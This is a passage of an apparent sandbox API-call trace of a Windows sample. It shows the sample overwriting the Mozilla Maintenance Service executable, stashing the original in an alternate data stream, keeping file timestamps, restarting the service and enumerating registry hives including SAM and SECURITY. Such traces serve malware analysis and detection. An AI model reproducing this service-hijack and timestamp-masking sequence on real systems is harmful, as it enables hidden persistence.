lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.887] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x4d [0253.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5f28 [0253.887] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", lpDst=0x1de5f28, nSize=0x4d | out: lpDst="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"") returned 0x4c [0253.887] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0253.891] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", cbData=0x4c | out: lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"") returned 0x0 [0253.891] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0253.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0253.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d438 [0253.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0253.891] LocalFree (hMem=0x5d3a08) returned 0x0 [0253.892] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"", cbData=0x4c | out: lpData="\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe\"") returned 0x0 [0253.892] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x2) returned 0x5d6df8 [0253.895] ChangeServiceConfigW (in: hService=0x5d6df8, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.918] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d358) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5f28) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d368) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d648) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0253.919] RegCloseKey (hKey=0x154) returned 0x0 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0253.919] RegCloseKey (hKey=0x160) returned 0x0 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0253.919] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0253.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270)) returned 1 [0253.922] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0253.922] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0253.922] GetFileSize (in: hFile=0x160, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x1d270 [0253.922] SetFilePointer (in: hFile=0x160, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0253.922] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1d280) returned 0x1e27ea8 [0253.924] ReadFile (in: hFile=0x160, lpBuffer=0x1e27ea8, nNumberOfBytesToRead=0x1d270, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e27ea8*, lpNumberOfBytesRead=0x18fc58*=0x1d270, lpOverlapped=0x0) returned 1 [0253.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1d280) returned 0x1e45130 [0253.928] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e27ea8) returned 1 [0253.928] SetFilePointer (in: hFile=0x160, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0253.928] WriteFile (in: hFile=0x160, lpBuffer=0x1e00ea0*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e00ea0*, lpNumberOfBytesWritten=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0253.930] SetEndOfFile (hFile=0x160) returned 1 [0253.930] GetFileTime (in: hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0x2d22cc80, dwHighDateTime=0x1ced1ee)) returned 1 [0253.930] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0253.930] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0253.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0253.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0253.930] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0253.930] NtClose (Handle=0x160) returned 0x0 [0253.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe:0" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x58de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x58e8c0, ftLastAccessTime.dwLowDateTime=0x18fc0c, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0253.930] GetLastError () returned 0x2 [0253.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe:0" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\maintenanceservice.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0253.931] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0253.931] WriteFile (in: hFile=0x160, lpBuffer=0x1e45130*, nNumberOfBytesToWrite=0x1d270, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e45130*, lpNumberOfBytesWritten=0x18fc58*=0x1d270, lpOverlapped=0x0) returned 1 [0253.937] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0253.938] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0253.938] NtClose (Handle=0x160) returned 0x0 [0253.938] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x10) returned 0x5d6d08 [0253.938] StartServiceW (hService=0x5d6d08, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0254.942] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0254.942] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0254.942] GetLastError () returned 0x6 [0254.942] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e45130) returned 1 [0254.942] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0254.943] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0254.943] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0254.943] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x20) returned 0x5d6df8 [0254.943] ControlService (in: hService=0x5d6df8, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0254.944] GetLastError () returned 0x426 [0254.944] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0254.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0254.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0254.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0254.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0254.944] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0254.944] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0254.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de44e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0254.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.944] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.945] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.945] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.945] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.946] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.946] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0254.946] RegCloseKey (hKey=0x80000002) returned 0x0 [0254.946] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de44e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.946] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.946] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0254.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de44e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de44e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.947] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.947] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0254.947] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0254.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 